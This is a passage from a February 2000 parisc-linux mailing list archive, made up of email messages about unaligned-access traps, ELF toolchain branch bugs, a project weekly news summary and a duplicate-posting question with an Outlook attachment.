pdc_console_init is at c0101b50 T pdc_console_init

Note that I CHANGED the load address of 0xc0010000 to 0xc0100000 in
vmlinux.lds but I can't see there's a relationship so I'm stumped and
suspect maybe a language system bug which isn't my forte.  Enjoy :-)

The sources I used can be generated by applying the patch
pehc:/tmp/sammy2 to the CVS bits current as of this morning.

	-Paul Bame


From - Thu Nov 08 21:11:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 22:49:34 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20000225224934.D812@abacus.local>
References: <E97137CF9A25D311902E00A0C9F484E0027985F4@xfc03.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618787 30626 80.91.229.3 (22 Nov 2014 01:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:07 +0000 (UTC)
Cc: "'willy@thepuffingroup.com'" <willy@thepuffingroup.com>,
        "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "HOLBROOK,SCOTT HP-FtCollins,ex1\"" <scott_holbrook@am.exch.hp.com>
Original-X-From: prumpf@inwestnet.de  Fri Feb 25 15:49:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA02336
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 15:49:51 -0700
Original-Received: (qmail 6720 invoked by uid 15267); 25 Feb 2000 21:50:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6684 invoked from network); 25 Feb 2000 21:50:42 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 21:50:42 -0000
Original-Received: (qmail 24303 invoked from network); 25 Feb 2000 21:50:37 -0000
Original-Received: from port0811.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.49)
  by mail.ginko.net with SMTP; 25 Feb 2000 21:50:37 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id WAA13695;
	Fri, 25 Feb 2000 22:50:36 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <E97137CF9A25D311902E00A0C9F484E0027985F4@xfc03.fc.hp.com>; from scott_holbrook@am.exch.hp.com on Fri, Feb 25, 2000 at 01:23:51PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6882

> > Years ago I wrote an unaligned load/store emulator (trap handler) for
> > a port of an evil OS to PA-RISC.  I still have the code -- it would take
> > a little bit of work to massage it into a real low-level trap handler,
> > but that task should be very straight-forward.
> 
> The code I have is for PA-RISC running in little-endian mode.  There would
> be some additional work to make it bit-endian.
> 
> Do you just love endian issues?

Well, I've got an unaligned handler for another architecture here, the tricky
part is to parse the instructions, and not forget about side-effects of ,M
modifiers.

As for how the code would be run, the most likely way would be to call it
in virtual mode with interrupts disabled and pass in a pointer to a pt_regs
(defined in include/asm/ptrace.h) structure.

	Philipp Rumpf


From - Thu Nov 08 21:11:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 23:03:48 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000225230348.E812@abacus.local>
References: <20000224224934.N9944@thepuffingroup.com> <200002252036.MAA04792@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618788 30628 80.91.229.3 (22 Nov 2014 01:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:08 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Fri Feb 25 16:03:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02717
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 16:03:58 -0700
Original-Received: (qmail 16437 invoked by uid 15267); 25 Feb 2000 22:04:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16419 invoked from network); 25 Feb 2000 22:04:51 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 22:04:51 -0000
Original-Received: (qmail 24398 invoked from network); 25 Feb 2000 22:04:49 -0000
Original-Received: from port0811.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.49)
  by mail.ginko.net with SMTP; 25 Feb 2000 22:04:49 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id XAA13732;
	Fri, 25 Feb 2000 23:04:49 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002252036.MAA04792@milano.cup.hp.com>; from grundler@cup.hp.com on Fri, Feb 25, 2000 at 12:36:27PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6883

> > Uh oh.  We really need a kernel unaligned trap handler.  Some of
> > the network protocols rely on that being handled right (yes, i know.
> > it sucks.)
> 
> It really sucks. If any code in the performance path depends on this,

Another vote for "it sucks".

Which network drivers, protocols aso exactly are you using (and did you
check for the bug Matthew posted an URL for ?) ?  I really don't think
we should write an unaligned handler until we find ourselves using weird
protocols (and hopefully not even then).

	Philipp


From - Thu Nov 08 21:11:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Sat, 26 Feb 2000 00:17:29 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20000226001729.F812@abacus.local>
References: <200002250259.SAA04374@milano.cup.hp.com> <20000224224934.N9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618788 30632 80.91.229.3 (22 Nov 2014 01:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:08 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Fri Feb 25 17:17:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03202
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 17:17:43 -0700
Original-Received: (qmail 26284 invoked by uid 15267); 25 Feb 2000 23:18:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26276 invoked from network); 25 Feb 2000 23:18:35 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 23:18:35 -0000
Original-Received: (qmail 25203 invoked from network); 25 Feb 2000 23:18:33 -0000
Original-Received: from port0811.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.49)
  by mail.ginko.net with SMTP; 25 Feb 2000 23:18:33 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id AAA14013;
	Sat, 26 Feb 2000 00:18:34 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000224224934.N9944@thepuffingroup.com>; from willy@thepuffingroup.com on Thu, Feb 24, 2000 at 10:49:34PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6884

> http://boudicca.tux.org/hypermail/linux-kernel/2000week06/0092.html
> 
> There was a bug in 2.3.41, looks like it didn't get fixed in .42, that

Apparently it did get fixed in .42, so it might be worth finding out what
exactly causes Grant's unaligned trap.


From - Thu Nov 08 21:11:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "William Ferguson" <wferguson@chatspace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Quadruple postings?
Date: Fri, 25 Feb 2000 16:08:53 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <CIEFLNKHGHGOLMKJHMOAAEIACHAA.wferguson@chatspace.com>
Reply-To: <wferguson@chatspace.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_004D_01BF7FAA.9C73B5E0"
X-Trace: ger.gmane.org 1416618788 30646 80.91.229.3 (22 Nov 2014 01:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:08 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: WFerguson@chatspace.com  Fri Feb 25 18:04:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA03704
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 18:04:53 -0700
Original-Received: (qmail 16034 invoked by uid 15267); 26 Feb 2000 00:05:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16026 invoked from network); 26 Feb 2000 00:05:46 -0000
Original-Received: from ns2.chatspace.com (HELO chatspace.com) (209.132.115.211)
  by mailserv2.iuinc.com with SMTP; 26 Feb 2000 00:05:46 -0000
Original-Received: from BILIBONG by chatspace.com
	with SMTP (MDaemon.v2.8.5.0.R)
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Feb 2000 16:08:54 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.5600
Importance: Normal
X-MS-TNEF-Correlator: <CIEFLNKHGHGOLMKJHMOAAEIACHAA.wferguson@chatspace.com>
X-MDaemon-Deliver-To: parisc-linux@thepuffingroup.com
X-Return-Path: WFerguson@chatspace.com
Xref: news.gmane.org gmane.linux.ports.parisc:6885

This is a multi-part message in MIME format.

------=_NextPart_000_004D_01BF7FAA.9C73B5E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Can anyone tell me why I receive four of each posting?

 
Cordially yours,
 
William Ferguson
Director of Internet Operations
Chatspace Inc.


------=_NextPart_000_004D_01BF7FAA.9C73B5E0
Content-Type: application/ms-tnef;
	name="winmail.dat"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="winmail.dat"

eJ8+IjUAAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy
b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANAHAgAZABAACAAAAAUADwEB
A5AGAIwFAAAlAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB
AAAAFAAAAFF1YWRydXBsZSBwb3N0aW5ncz8AAgFxAAEAAAAWAAAAAb9/7amw8UXIiDJnRnaT1xPS
+x5EgAAAAgEdDAEAAAAdAAAAU01UUDpXRkVSR1VTT05AQ0hBVFNQQUNFLkNPTQAAAAALAAEOAAAA
AEAABg4AcKmK7X+/AQIBCg4BAAAAGAAAAAAAAADSsv/s6SIoRb2ntdxDRZXCwoAAAAsAHw4BAAAA
AgEJEAEAAAARAQAADQEAAJABAABMWkZ1RtJh7gMACgByY3BnMTI1FjIA+Atgbg4QMDMzTwH3AqQD
4wIAY2gKwHPwZXQwIAcTAoMAUAPVlRF1fQqBdgiQd2sLgHRkNAxgYwBQCwMLtSAWQwORAHB5AiBl
IHQMZWwDIAeAIHdoeQggSSAJcGNlaXYHFZACEAhwIG9mIGWBANBoIHBvc3QLgHxnPwqiCoQKgQvh
E9B+rxjGEhIU0gWwZAcxbBZQ8xVgCHBzLAulE9AYdBmOilcDEGwHMG0gRgSQOGd1cwIgG40aBkRp
7RaRdAWxF2FJAjAEkREw6CBPcASQYRgQAiAQsecenxTDEPB0cwqwFrAgkbxjLiHeC/IYcxMRACXw
AAAACwABgAggBgAAAAAAwAAAAAAAAEYAAAAAA4UAAAAAAAADAAOACCAGAAAAAADAAAAAAAAARgAA
AAAQhQAAAAAAAAMAB4AIIAYAAAAAAMAAAAAAAABGAAAAAFKFAAAnagEAHgAJgAggBgAAAAAAwAAA
AAAAAEYAAAAAVIUAAAEAAAAEAAAAOS4wAB4ACoAIIAYAAAAAAMAAAAAAAABGAAAAADaFAAABAAAA
AQAAAAAAAAAeAAuACCAGAAAAAADAAAAAAAAARgAAAAA3hQAAAQAAAAEAAAAAAAAAHgAMgAggBgAA
AAAAwAAAAAAAAEYAAAAAOIUAAAEAAAABAAAAAAAAAAsADYAIIAYAAAAAAMAAAAAAAABGAAAAAIKF
AAABAAAACwA6gAggBgAAAAAAwAAAAAAAAEYAAAAADoUAAAAAAAADADyACCAGAAAAAADAAAAAAAAA
RgAAAAARhQAAAAAAAAMAPYAIIAYAAAAAAMAAAAAAAABGAAAAABiFAAAAAAAACwBSgAggBgAAAAAA
wAAAAAAAAEYAAAAABoUAAAAAAAADAFOACCAGAAAAAADAAAAAAAAARgAAAAABhQAAAAAAAAIB+A8B
AAAAEAAAANKy/+zpIihFvae13ENFlcICAfoPAQAAABAAAADSsv/s6SIoRb2ntdxDRZXCAgH7DwEA
AACkAAAAAAAAADihuxAF5RAaobsIACsqVsIAAFBTVFBSWC5ETEwAAAAAAAAAAE5JVEH5v7gBAKoA
N9luAAAAQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1x3ZmVyZ3Vzb24uQklMSUJPTkdcTG9jYWwg
U2V0dGluZ3NcQXBwbGljYXRpb24gRGF0YVxNaWNyb3NvZnRcT3V0bG9va1xvdXRsb29rLnBzdAAD
AP4PBQAAAAMADTT9NwAAAgF/AAEAAAA3AAAAPENJRUZMTktIR0hHT0xNS0pITU9BQUVJQUNIQUEu
d2Zlcmd1c29uQGNoYXRzcGFjZS5jb20+AAADAAYQE2RySAMABxByAAAAAwAQEAAAAAADABEQAQAA
AB4ACBABAAAAZQAAAENBTkFOWU9ORVRFTExNRVdIWUlSRUNFSVZFRk9VUk9GRUFDSFBPU1RJTkc/
Q09SRElBTExZWU9VUlMsV0lMTElBTUZFUkdVU09ORElSRUNUT1JPRklOVEVSTkVUT1BFUkFUSU8A
AAAAAyY=

------=_NextPart_000_004D_01BF7FAA.9C73B5E0--



From - Thu Nov 08 21:11:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 17:35:12 -0700 (MST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200002260035.RAA00437@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618789 30649 80.91.229.3 (22 Nov 2014 01:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Feb 25 18:34:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04112
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 18:34:32 -0700
Original-Received: (qmail 28085 invoked by uid 15267); 26 Feb 2000 00:35:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28074 invoked from network); 26 Feb 2000 00:35:21 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 26 Feb 2000 00:35:21 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id RAA23208
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Feb 2000 17:35:20 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id RAA00437 for parisc-linux@thepuffingroup.com; Fri, 25 Feb 2000 17:35:12 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6886

> > http://boudicca.tux.org/hypermail/linux-kernel/2000week06/0092.html
> >
> > There was a bug in 2.3.41, looks like it didn't get fixed in .42, that
>
> Apparently it did get fixed in .42, so it might be worth finding out what
> exactly causes Grant's unaligned trap.

I'm running on a J5000, which is 99.9% the same as a C3000 if I disable
one of the processors. The only networking problem I've run into
is the one I already posted about, for which I have a workaround. I
have not run into any unaligned traps.

I also do not believe we should do an unaligned trap handler at this
point. Yes, we may have to do one for the non-standard protocols, but
the problem is that once we enable the trap handler, you might hide
a bunch of other performance degrading bugs.

In fact, I would propose that when we do the unaligned handler we
should have a way of enabling it on a per thread basis for user
processes. When I say "enable" I don't mean that we would install/deinstall
the handler, but simply have the handler do a check, and if the fault
came from user space, check the task structure to determine whether
we should fix the fault or terminate the process with a signal.

I believe that the default should be off. If a user doesn't want to
fix the problem (either due to indifference or lack of source), they
should explicitly enable the handler (perhaps by a flag bit in the
elf executable?) so that they know that they will be suffering a
performance penalty.

Of course, I'd like to do something similar for kernel unaligned faults,
i.e. only handle faults for areas where we expect them, but that is
probably not worth the effort. Handling kernel unaligned faults should
be configurable, possibly with the default on. We of course should
leave it off during development, unless we are testing areas of the
kernel that are known to produce unaligned faults, i.e. ones we
have decided not to fix, e.g. some of the networking protocols. One
possible thing we could do would be to enable the unaligned handler
by default, but have it log a message for the first kernel fault
it handles, e.g. "Unaligned fault at 0xxxx, enabling unaligned fault
handler", so at least people can be made aware that there may be
a performance issue.

My overall objective in all of this is to insure that we know of
all the cases where the kernel produces unaligned faults, and make
a conscious decision on whether or not we fix the code, rather than
hide unaligned references. My personal bias is to fix every piece
of code that produces unaligned references, but, based on the
linux-kernel thread that willy mentioned, we might not be able to
convince the maintainer of the code to accept those changes.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Sat, 26 Feb 2000 01:53:35 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20000226015335.G812@abacus.local>
References: <200002260035.RAA00437@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618789 30652 80.91.229.3 (22 Nov 2014 01:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: prumpf@inwestnet.de  Fri Feb 25 18:53:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04288
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 18:53:45 -0700
Original-Received: (qmail 3573 invoked by uid 15267); 26 Feb 2000 00:54:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3555 invoked from network); 26 Feb 2000 00:54:37 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 26 Feb 2000 00:54:37 -0000
Original-Received: (qmail 25882 invoked from network); 26 Feb 2000 00:54:35 -0000
Original-Received: from port0811.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.49)
  by mail.ginko.net with SMTP; 26 Feb 2000 00:54:35 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id BAA14388;
	Sat, 26 Feb 2000 01:54:36 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002260035.RAA00437@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Fri, Feb 25, 2000 at 05:35:12PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6887

> I'm running on a J5000, which is 99.9% the same as a C3000 if I disable
> one of the processors. The only networking problem I've run into
> is the one I already posted about, for which I have a workaround. I
> have not run into any unaligned traps.

This is another hint that Grant's unaligned trap probably is not network-
related (it might be the network device driver's fault).

> I also do not believe we should do an unaligned trap handler at this
> point. Yes, we may have to do one for the non-standard protocols, but
> the problem is that once we enable the trap handler, you might hide
> a bunch of other performance degrading bugs.

I agree.

> In fact, I would propose that when we do the unaligned handler we
> should have a way of enabling it on a per thread basis for user
> processes. When I say "enable" I don't mean that we would install/deinstall
> the handler, but simply have the handler do a check, and if the fault
> came from user space, check the task structure to determine whether
> we should fix the fault or terminate the process with a signal.

Emulating user space unaligned accesses sounds like a bad idea to me,
unless existing applications assume they can do unaligned accesses and
let the OS handle it.  (and preload a SIGBUS handler for those userspace
applications that want it)

> I believe that the default should be off. If a user doesn't want to
> fix the problem (either due to indifference or lack of source), they
> should explicitly enable the handler (perhaps by a flag bit in the
> elf executable?) so that they know that they will be suffering a
> performance penalty.

LD_PRELOAD is a nicer way to handle that, isn't it ?

> Of course, I'd like to do something similar for kernel unaligned faults,

First, let's try whether we run into unaligned faults in cases other than
the one we know (weird, badly-designed protocols).

> Handling kernel unaligned faults should be configurable, possibly with
> the default on.

I disagree.  Either we accept we will have unaligned accesses, so disabling
them would just generate bogus bug reports;  or we don't, then we want to
see all bug reports caused by them.

> My overall objective in all of this is to insure that we know of
> all the cases where the kernel produces unaligned faults, and make
> a conscious decision on whether or not we fix the code, rather than
> hide unaligned references. My personal bias is to fix every piece
> of code that produces unaligned references, but, based on the
> linux-kernel thread that willy mentioned, we might not be able to
> convince the maintainer of the code to accept those changes.

Just wait until they see the light ... we can fix networking in our tree
should it bother us.

	Philipp Rumpf


From - Thu Nov 08 21:11:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Weekly News [2000-02-25]
Date: Sat, 26 Feb 2000 01:08:21 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <20000226010821.T9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618789 30656 80.91.229.3 (22 Nov 2014 01:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sat Feb 26 00:07:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA06395
	for <parisc-linux@puffin.external.hp.com>; Sat, 26 Feb 2000 00:07:29 -0700
Original-Received: (qmail 22380 invoked by uid 15267); 26 Feb 2000 06:08:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22373 invoked from network); 26 Feb 2000 06:08:22 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Feb 2000 06:08:22 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id BAA11310
	for parisc-linux@thepuffingroup.com; Sat, 26 Feb 2000 01:08:21 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6888


PA-RISC/Linux Weekly News - 25th February 2000

   http://www.thepuffingroup.com/parisc/
       vol 2, issue 6

   This Week:
   News & Announcements
       Status Page
       This Week's CVS Activity
       State of the Port Summary

News & Announcements

     * NFS Root Updated
        Grant updated Martin's NFS root-howto with instructions for
            setting up an HP/UX machine as your NFS server.
     * ELF32 work started
        We're currently playing with ELF32 stuff, trying to get a
            toolchain available to everyone. Once we're happy that the
            toolchain is working well enough, we'll start moving the
            kernel over to ELF.
     * Upcoming non-merge with Linus
        We were planning to merge Linus 2.3.48 into our CVS tree later
            this week, however we've decided to delay until the following
            week to give our tree a chance to settle down with the ELF
            transition and Linus a chance to splat some more
            platform-independent bugs.
     * FAQ
        I've started to maintain a FAQ, referenced from the main webpage.
            It is a little rough for the moment; contributions eagerly
            anticipated.

Status Page
        I'd just like to take this opportunity to remind everyone that we
            have a status page with some unclaimed projects at
            http://www.thepuffingroup.com/parisc/status.html

This Week's CVS Activity
          + More toolchain updates; Matthew checked in a patch to allow
            libgcc1 to build and added the .global directive to gas.
          + We decided to switch to a 16k per-process kernel stack size
            to ensure that we don't have any bugs caused by accidentally
            overrunning the kernel stack. John implemented this.
          + HP/UX compatibility gained a few new syscalls. I guess John
            was bored :-)
          + Grant made the Intel EtherExpress Pro card work.

State of the Port Summary
          + Kernel
               o based on 2.3.42
          + Supported Hardware:
               o SCSI, Lan and PS/2 on Lasi I/O controller
               o Dino PCI controller
               o Elroy PCI controller
               o Tulip ethernet
               o PCNet32 ethernet
               o Intel EEPro ethernet
          + Project Page
               o http://www.thepuffingroup.com/parisc/
          + Latest Workable Image
               o ftp://puffin.external.hp.com/pub/parisc/binaries/kernels
                 /Image-20000218
          + Running PA-RISC/Linux "recipe":
               o http://thepuffingroup.com/parisc/recipe.html



From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@sammy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new binutils/gcc
Date: Sun, 27 Feb 2000 13:26:55 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0002271322290.365-100000@sammyville.sammy.net>
References: <E12OS25-0007l6-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618790 30660 80.91.229.3 (22 Nov 2014 01:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:10 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: sammy@sammy.net  Sun Feb 27 12:24:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA18837
	for <parisc-linux@puffin.external.hp.com>; Sun, 27 Feb 2000 12:24:47 -0700
Original-Received: (qmail 2091 invoked by uid 15267); 27 Feb 2000 18:25:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2081 invoked from network); 27 Feb 2000 18:25:42 -0000
Original-Received: from dhcp9541066.columbus.rr.com (HELO sammyville.sammy.net) (24.95.41.66)
  by mailserv2.iuinc.com with SMTP; 27 Feb 2000 18:25:42 -0000
Original-Received: from localhost (sammy@localhost)
	by sammyville.sammy.net (8.8.7/8.8.7) with ESMTP id NAA01104;
	Sun, 27 Feb 2000 13:26:55 -0500
In-Reply-To: <E12OS25-0007l6-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6889



On Fri, 25 Feb 2000, Paul Bame wrote:

> 
> Willy, Sammy,
> 
> I've been trying the elf stuff plus Sammy's patches, updated to work
> from the current CVS bits.  Here's what I've found so far:
> 
> 1) this compiler seems to allocate the rp and ret1 registers first
> which makes debugging from register dumps worse -- no glancing at r2
> to figure out who called ya.

hmmmmmmm...  did the function prologue stuff change much from the other
parisc compiler?

> 3) We get to start_parisc() but no C procedure calls work from there --
> even a local call is failing.  The local call, to address c0114dd4,
> generates the following branch:
> 
>     c020cbcc:       e5 00 29 38     be,l 49c(sr4,r8)
> 
> r8 = 0xc0000000 and sr4 = 0 so I think this branches to a very
> bad place.  Another branch to pdc_console_init() generates
> 
